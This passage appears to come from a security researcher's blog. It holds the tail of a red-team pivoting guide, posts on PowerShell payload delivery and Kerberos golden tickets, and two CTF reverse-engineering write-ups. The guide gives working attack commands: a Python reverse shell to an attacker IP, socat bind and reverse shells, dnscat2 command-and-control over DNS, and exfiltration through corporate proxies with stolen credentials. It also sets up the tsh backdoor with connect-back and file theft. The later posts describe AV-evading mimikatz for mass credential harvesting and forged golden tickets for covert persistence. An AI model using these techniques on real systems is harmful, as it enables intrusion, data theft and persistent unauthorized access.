ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

Dnscat2

Dnscat2 establishes C&C channel over recursive DNS queries. This tool doesn’t require root/administrator access (works both on windows and linux). It also supports port forwarding. Server side:

ruby ./dnscat2.rb tunneldomain.com

Client side:

./dnscat2 tunneldomain.com

After you receive a connection of server side, you can view the active sessions with windows command:

dnscat2> windows
0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
  1 :: command session (debian)
  2 :: sh (debian) [*]

To initiate port forwarding select a command session with session -i <num>:

dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command session (debian) 1>

Use listen [lhost:]lport rhost:rport command to forward a port:

command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80

This will bind port 8080 on the attacker’s machine and forward all connections to 10.0.0.20:80.

Corporate HTTP proxy as a way out

HTTP proxies organization place for their employees to access external web-application present a good exfiltration opportunity given you got the right credentials ;)

Rpivot

I already mentioned this tool in the NAT traversal section. It also supports connecting to the outside world via NTLM HTTP proxies. Server side command remains intact, use client-side command as follows:

python client.py --server-ip <rpivot_server_ip> --server-port 9999\
--ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --password P@ssw0rd

Or if you have LM:NT hashes instead of password:

python client.py --server-ip <rpivot_server_ip>\
--server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM\
--username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Cntlm

Cntlm is the tool of choice for running any non-proxy aware programs over NTLM-proxy. Basically this tool authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. This port bound does not require any authentication so you can use your tools directly (putty/ssh for example). It uses a config file for its operation. Here’s a barebones config example to forward port 443 (this port is most likely to be allowed through the proxy):

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

Run it:

cntlm.exe -c config.conf

Or if you’re on Linux:

./cntlm -c config.conf

Now, given you have ssh running on the remote host on port 443, you can launch ssh client (openssh/putty) and connect to local port 2222 to get access to the external machine.

OpenVpn over HTTP proxy

OpenVpn is huge so its configuration from the ground up is out of scope of this post. Just a quick mention - it also supports tunneling tcp connections over NTLM proxies. Add this line to your config file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Credential file should contain username and password on separate lines. And, yes, you’ll need root.

Making use of SOCKS with proxychains

If your program doesn’t use raw sockets (nmap syn-scan, for example) then most probably you can use proxychains to force your program though the socks proxy. Edit proxy server in /etc/proxychains.conf:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 3128

All ready. Just prepend proxychains to you favorite pwn tool:

proxychains program_name

Using impacket’s psexec.py with proxychains:

DNS with proxychains

Proxychains doesn’t follow socks RFC when it comes to resolving hostnames. It intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. The things is, the DNS server is hardcoded to 4.2.2.2. You might want to change the nameserver in order to resolve names on the internal network. A typical scenario is to change the nameserver to domain controller if you are pentesting windows environment. The setup is located at /usr/lib/proxychains3/proxyresolv:

#!/bin/sh
# This script is called by proxychains to resolve DNS names

# DNS server used to resolve names
DNS_SERVER=${PROXYRESOLV_DNS:-4.2.2.2}    #change nameserver here


if [ $# = 0 ] ; then
    echo "  usage:"
    echo "      proxyresolv <hostname> "
    exit
fi

Beutifying your web shell

This section is not directly related to either pivoting or tunneling but instead describes a way of simplifying your work when developing attack into the internal network. Often, using a web-shell is rather tedious, especially when using programs that expect an interactive command interface. Most likely you will use some workarounds to performs simple tasks, such as passing password to sudo/su or just editing a file. I’m not a big fan of torturing myself, so when there’s an oportunity to escalate the web-shell to an interactive shell, I do so :) I won’t cover stuff like launching semi-interactive shell using bash/perl/python etc. There’s a ton of info on doing so. Check out this reverse shell cheat sheet - http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.

Python PTY shell

An upgrade from a regular semi-interactive shell. You can execute the following command in your existing shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Or initiate reverse connection:

python -c 'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect(("<attackers_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);\
os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Socat

Netcat on steroids! Seriously tho, go check this tool’s manual man socat and you’d be amazed what you can do with this tool regarding tunneling. Among other things it can spawn a fully interactive shell, even better than the aforementioned python-pty. The downside is that you most probably will have to build/install this tool on the target server as it is not a default utility in most unix-like distributions.

Bind shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Connect to the listener:

socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

Set listener:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Connect to attacker’s machine:

socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Terminal size

By default the terminal size is quite small, as you may notice when launching top command or editing files with a text editor. You can easily change this, use stty -a command to get the size of your regular teminal:

$ stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Apply desired size to your socat terminal:

$ stty rows 57 cols 211

Tsh

Tsh is a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h file:

#ifndef _TSH_H
#define _TSH_H

char *secret = "never say never say die";

#define SERVER_PORT 22
short int server_port = SERVER_PORT;
/*
#define CONNECT_BACK_HOST  "localhost"
#define CONNECT_BACK_DELAY 30
*/
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

Change secret, specify SERVER_PORT. Uncomment and edit CONNECT_BACK_HOST and CONNECT_BACK_DELAY directives if you want backconnect. Run make:

$ make linux_x64
make								\
	LDFLAGS=" -Xlinker --no-as-needed -lutil"	\
	DEFS=" -DLINUX"					\
	tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'

Now run ./tshd on server. It will start listening on the specified port. You can connect to it via executing the following command:

./tsh host_ip

If tsh was compiled with backconnect capability, the tshd daemon will try to connect back to the attacker’s machine. To launch listener on attacker’s side:

$ ./tsh cb
Waiting for the server to connect...

To transfer files with tsh:

./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp

Pentesting Windows environments: remote delivery of PowerShell payloads

2016-12-25T00:00:00+00:00

PowerShell is an amazing post-exploitation tool available to the attacker during engagements in Windows environments. Tools like PowerSploit or PowerShell Empire help out a lot during internal test. Problem is, restrictive execution policy is enabled by default on windows machines which makes it problematic to run ps1 scripts. Not having admin rights on the target machine means you basically confine yourself to executing PowerShell one-liners which have length restrictions (cmd.exe has a limit of 8191 characters).

One way to bypass execution policy is to gain admin rights on the target and “unrestrict” the execution of PowerShell scripts with Set-ExecutionPolicy cmdlet. It’s a global settings so don’t forget to change in back.

Another cool trick is to write a simple command that evaluates expression, effectively executing it in memory. You can evaluate a whole ps1 script no matter how large it is. Here’s an example of downloading powercat code and evaluating it in one line:

Execution policy does not apply to one-line PowerShell scripts. We can go one step further and read data contents from file, evaluate it and run our payload. But why not automate this? In my case I was looking for a way to remotely execute Invoke-Mimikatz.ps1 on a number of windows machines without having to tediously upload the script via smbclient, run psexec to disable execution policy, run the script itself and then reverting execution restrictions.

The idea is quite simple. We deliver our payload via single bat file. PowerShell script is encoded in base64 and placed in comment section of bat. Comments are followed by a small one-liner that reads the same file, and decodes our payload and runs it. You can use a python script to quickly convert your favorite PowerShell script to bat file. Again, execution policy doesn’t matter in because you are only executing a PowerShell one-liner.

The resulting file look as follows:

Now we can pass this file to psexec.py with “-c” switch and get the results. Running remote mimikatz is now a one-liner and is perfectly scriptable if you want to do a mass-harvesting of credentials in domain :)

More mimikatz magic - enable multiple RDP connections on a workstation:

You can find the script here - https://github.com/artkond/bat-armor

Pivoting kerberos golden tickets in Linux

2016-12-18T00:00:00+00:00

Kerberos golden ticket allows attacker to establish persistent and covert authenticated access to Windows domain. The attack works as follows:

Attacker gains administrator privileges in domain
Attacker extracts ntlm hash of a domain user “krbtgt” and obtains SID of the target domain
The attacker forges kerberos ticket
This ticket is used to authenticate in domain with privileges of domain administrator

Here’s a detailed walkthough on how to use golden tickets on Kali Linux.

Let’s start with obtaining krbtgt ntlm hash. I use an encoded version of mimikatz utility that gets me krbtgt hash without alerting AV (https://github.com/artkond/bat-armor/blob/master/examples/krbtgt.bat):

Stripping last number from krbtgt SID (in out case 502) we obtain domain SID S-1-5-21-3251500307-1840725093-2229733580. Now to generate the ticket we use ticketer.py utility from Impacket (https://github.com/CoreSecurity/impacket/blob/master/examples/ticketer.py):

Almost ready. Just need to export system variable, so impacket’s psexec.py can use the ticket. When running psexec.py use -k key for kerberos authentication:

Same thing goes for other impacket tools such as wmiexec.py (which is more covert than psexec.py as it does not upload any binaries and starts no services) or atexec.py (uses scheduled tasks to exec your code):

Now that’s all fine but what if you want to upload some files? Most probably you’ll want to use smbclient for this task. Using kerberos with smbclient is a bit more complicated. You have to add your kerberos realm to config file located @ /etc/krb5.conf. In case you don’t have krb5.conf you might want to install krb5-user package from your distro’s repo.

[realms]
    PENTESTO.LOC = {
        kdc = tcp/dc01:88
    }

TCP is preferable as you will be able to tunnel your requests to kerberos server over socks proxy if you decide to do some fun pivoting. Notice that realm should be uppercase.

Pivoting

Using kerberos ticket over socks tunnel requires a bit more extra work. Most likely you don’t have direct access to active directory name servers so you have to edit /etc/hosts file. Add target server, domain controller (which is also kerberos server), and domain’s FQDN. This is mandatory because kerberos only works with hostnames and will fail if you specify IP-address.

$ cat /etc/hosts
...
10.0.0.89  pentesto.loc
10.0.0.89  dc01
...

I my case target server is the domain controller. Edit proxychains. Add your socks proxy and comment proxy_dns directive:

$ cat proxychains.conf
...
#Proxy DNS requests - no leak for DNS data
#proxy_dns 
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  172.16.46.157 3128

In case you’ve set up /etc/hosts and /etc/krb5.conf correctly there should be no trouble running smbclient or psexec.py over socks:

Note that psexec.py is sensitive to the info you provide. Domain name and username should be exact same you entered when forging ticket with ticketer.py.

Plaidctf 2014 Reverse 250 “hudak” write-up

2014-04-14T00:00:00+00:00

Task description:

Can you reverse this program?

Peeking into file:

$ file hudak
hudak: ELF 32-bit LSB executable

$ strings hudak
hCA[
DCCC@EGhh
read_until
Enter the password.
Wrong!
Congratulations!
;*2$"

$ ./hudak
Enter the password.
can_i_haz_flag
Wrong!

So no easy flag today ;) Ok, no problem, fire up IDA + linux_server and let’s roll. sub_80484C0 is our main function:

First branch we encounter checks the input flag for correct length which should be 30 (including \n). If the length is correct we can step further down until we stop at 0x08048597 call dword ptr [esi+8], which is dynamically resolved so its easier to see in debugging session:

The result of this function determines whether the flag is correct or not. The check_flag function allocates a buffer and populates it with 4 function pointers. After that it calls one of these functions using implicit call [eax+8]. This function returns modified string we provided as input and compares it to some hardcoded string in memory:

String located at 0x8048D60 is most likely our flag, but it looks gibberish so it’s probably encrypted. Indeed, at the end of table_func4 our input string is XORed with 0x37.

XORing buffer at 0x8048D60 with 0x37 we get a readable string (except for 9th byte) 3.._tvl3\xffstttwrp__1mea4as4i1_.. Not surprisingly it’s not a valid flag. Apparently, XOR is not the only transformation of input. Let’s check our random input “ iklumoyegxnjufqberxwzpdxaxeso in memory just before the XOR operation. Interestingly enough, ESI points to an array of 30 strings. First string in array is the copy of our input string shifted several chars left, while the second one is shifted left one char compared to the first one, third string is shifted two chars and so on. Strings in this array are sorted i.e. first start with axeso, second with berx and so on. Basically, this “xor” loop takes the last char from each of the strings (ebx = 29, so ecx+ebx is the last char), XORes it with 0x37 and appends it to the resulting buffer. So before being XORed our input buffer iklumoyegxnjufqberxwzpdxaxeso transforms to xqpybxue\xffnikuxmszfeejlxdagrowo (0xff is appended to input string at the very beginning). Knowing the algorithm we can find out which character precedes any given character.

shuffled_flag = "3.._tvl3\xffstttwrp__1mea4as4i1_."
sorted_flag = ''.join(sorted(shuffled_flag))
 
for c1, c2 in zip(shuffled_flag, sorted_flag):
    print c1, '->', c2

Output:

3 -> .
. -> .
. -> .
_ -> 1
t -> 1
v -> 3
l -> 3
3 -> 4
\xff -> 4
s -> _
t -> _
t -> _
t -> _
w -> a
r -> a
p -> e
_ -> i
_ -> l
1 -> m
m -> p
e -> r
a -> s
4 -> s
a -> t
s -> t
4 -> t
i -> t
1 -> v
_ -> w
. -> \xff

Since one character may occur several times in the string there are several possible strings that can be derived from this table. After some guessing it’s not too hard to find the one that makes sense – 4t_l34st_it_was_1mperat1v3…

Ructf quals 2014 Reverse 500 “Arcfour” write-up

2014-03-11T00:00:00+00:00

Task description:

Crack me please.
Flag format is "RUCTF_.*"

Ok so we’re presented with a arcfour.exe binary.

root@kali:~/vmshare/ctf/reverse/original# file arcfour.exe
arcfour.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX сompressed

Well, simple enough! Just unpack it with upx -d and load into IDA :

int __cdecl main(int argc, const char **argv, const char **envp)
{
        int result;
        if ( argc == 2 )
        {
                if ( lstrlenA(argv[1]) == 32 )
                {
                        dword_40337C = (int)argv[1];
                        if ( (unsigned __int8)(lstrcmpA(lpString1, argv[1]) & 1 ^ 1) == 1 )
                                result = puts("good job, put flag into system");
                        else
                                result = puts("nope...");
                }
                else
                {
                        result = 0;
                }
        }
        else
        {
                result = 0;
        }
        return result;
}

lsString1 is easy to find as it’s hardcoded – oh_nasty_boy!you_hacked_me:(hehe. Pass it as an argument and we get:

good job, put flag into system

Strange as it is obviously not the correct flag because we know that the valid one starts with RUCTF_. At this point I was a bit confused by the fact that main function was quite simple and didn’t have any obvious jumps or calls. But looking further down the dissasemly I found quite interesting snippet of code that didn’t have any references (or so I though at the moment):

sub_4010D0:
.text:004010E6                 mov     [ebp+var_3C], '¦'
.text:004010EA                 mov     [ebp+var_3B], 'L'
.text:004010EE                 mov     [ebp+var_3A], '¦'
.text:004010F2                 mov     [ebp+var_39], 3
.text:004010F6                 mov     [ebp+var_38], 0FCh
.text:004010FA                 mov     [ebp+var_37], 10h
.text:004010FE                 mov     [ebp+var_36], 28h
.text:00401102                 mov     [ebp+var_35], dl
.text:00401105                 mov     [ebp+var_34], 7Ah
.text:00401109                 mov     [ebp+var_33], cl
.text:0040110C                 mov     [ebp+var_32], 8Ch
.text:00401110                 mov     [ebp+var_31], 94h
.text:00401114                 mov     [ebp+var_30], 2Eh
.text:00401118                 mov     [ebp+var_2F], 0F9h
.text:0040111C                 mov     [ebp+var_2E], 69h
.text:00401120                 mov     [ebp+var_2D], 24h
.text:00401124                 mov     [ebp+var_2C], 9Fh
.text:00401128                 mov     [ebp+var_2B], 7Dh
.text:0040112C                 mov     [ebp+var_2A], 27h
.text:00401130                 mov     [ebp+var_29], 0C1h
.text:00401134                 mov     [ebp+var_28], 0C4h
.text:00401138                 mov     [ebp+var_27], 9
.text:0040113C                 mov     [ebp+var_25], cl
.text:0040113F                 mov     [ebp+var_24], 75h
.text:00401143                 mov     [ebp+var_23], 0EEh
.text:00401147                 mov     [ebp+var_21], 97h
.text:0040114B                 mov     [ebp+var_20], 8Dh
.text:0040114F                 mov     [ebp+var_1F], 0AFh
.text:00401153                 mov     [ebp+var_1E], 79h
.text:00401157                 mov     [ebp+var_1D], dl
.text:0040115A                 mov     [ebp+var_1C], 0
.text:0040115E                 mov     [ebp+oh_nice_key], 86h
.text:00401162                 mov     [ebp+var_17], 0DEh
.text:00401166                 mov     [ebp+var_16], 9Ah
.text:0040116A                 mov     [ebp+var_15], 0F8h
.text:0040116E                 mov     [ebp+var_14], 0DFh
.text:00401172                 mov     [ebp+var_13], 0F5h
.text:00401176                 mov     [ebp+var_12], al
.text:00401179                 mov     [ebp+var_11], 0E9h
.text:0040117D                 mov     [ebp+var_10], 0DDh
.text:00401181                 mov     [ebp+var_F], al
.text:00401184                 mov     [ebp+var_E], 0EFh
.text:00401188                 mov     [ebp+var_D], 0
.text:0040118C                 mov     [ebp+var_1], 0
.text:00401190                 mov     [ebp+var_C], eax
.text:00401193                 mov     [ebp+var_8], esp

After spending quite some time with unpacked binary I finally decided to give it a try and run the original. Now the hardcoded string doesn’t seem to be valid! Sow now it was obvious that there’s something not quite right with the upx unpacking stub. Peeking at the original binary in IDA we see two functions: start and TlsCallback_0. start is not really insteresting as it’s pretty much unmodified upx unpacker but TlsCallback_0 is, on the other hand, the one where all the difference is. Tlscallback functions are used with thread programming to initialize data. The interesting thing about them is that these function are executed by windows pe loader before the program’s entry point. So if you want to break on a tlscallback function you have to setup your debugger to pause before the default entry point. More info can be found here – https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655.

TlsCallback_0:
UPX1:00406D04                 public TlsCallback_0
UPX1:00406D04 TlsCallback_0   proc near           
UPX1:00406D04
UPX1:00406D04 arg_4           = byte ptr  8
UPX1:00406D04
UPX1:00406D04                 nop
UPX1:00406D05                 cmp     [esp+arg_4], 1
UPX1:00406D0A                 jnz     short locret_406D23
UPX1:00406D0C                 mov     eax, large fs:18h
UPX1:00406D12                 mov     eax, [eax+30h]
UPX1:00406D15                 add     byte ptr [eax+2], 0B6h
UPX1:00406D19                 mov     dword ptr ds:loc_406C73+1, 0B0h
UPX1:00406D23
UPX1:00406D23 locret_406D23:                      
UPX1:00406D23                 retn
UPX1:00406D23 TlsCallback_0   endp

Running original binary leads to unhandled exception caused by invalid opcodes just before string comparison. These invalid bytes are inserted with tlscallback. Skipping tlscallback with a jump over memory editing instructions leads to correct program execution but again treats the hardcoded string oh_nasty_boy!you_hacked_me:(hehe as valid. Looking closer at main’s prologue we see a pointer being pushed onto stack:

00401220   55               PUSH EBP
00401221   8BEC             MOV EBP,ESP
00401223   6A FF            PUSH -1
00401225   68 F8214000      PUSH arcfour.004021F8
0040122A   68 241B4000      PUSH arcfour.00401B24   ; JMP to MSVCR90._except_handler3

This address references a list of exception handlers located at 0x004012AC and 0x004012C5 . So now with breakpoints on both handlers we pass exception to program. Tracing down sub_4010D0 we observe an ascii string Oh,NiC3_k3Y generating on stack. Code generation:

.text:004011C3 loc_4011C3:                             
.text:004011C3                 xor     [ebp+eax+oh_nice_key], cl
.text:004011C7                 inc     eax
.text:004011C8                 cmp     eax, 0Bh
.text:004011CB                 jb      short loc_4011C3

Task’s name infers that rc4 stream cipher is used so we might assume that Oh,NiC3_k3Y is the corresponding encryption/decryption key. This key is used in sub_401000 to modify argument that is passed to program. Further down the code the modified argument string is compared with a seemingly random buffer in memory. Since encryption/decryption is identical I passed “random” buffer’s address to sub_401000, which successfully decrypted the buffer which turn out to be a valid flag.

Artem Kondratenko

Symantec Messaging Gateway authentication bypass

Disclosure timeline

PlaidCTF 2017 “bigpicture” write-up (pwn 200)

Exploit code

CVE-2017-3881 Cisco Catalyst RCE Proof-Of-Concept

Vault 7 CIA leak

Cisco advisory

Switch clustering

Peeking at firmware

Discovering strings

Getting code execution

ROPing a way out

Running the exploit

A Red Teamer’s guide to pivoting

Contents

Target with public IP

SSH port forwarding

VPN over SSH

3proxy

NAT scenario

SSH reverse port forwarding /w 3proxy

Rpivot

Exfiltrating from the internal network

ICMP tunneling

DNS tunneling

Iodine

Dnscat2

Corporate HTTP proxy as a way out

Rpivot

Cntlm

OpenVpn over HTTP proxy

Making use of SOCKS with proxychains

DNS with proxychains

Beutifying your web shell

Python PTY shell

Socat

Bind shell

Reverse shell

Terminal size

Tsh

Pentesting Windows environments: remote delivery of PowerShell payloads

Pivoting kerberos golden tickets in Linux

Pivoting

Plaidctf 2014 Reverse 250 “hudak” write-up

Ructf quals 2014 Reverse 500 “Arcfour” write-up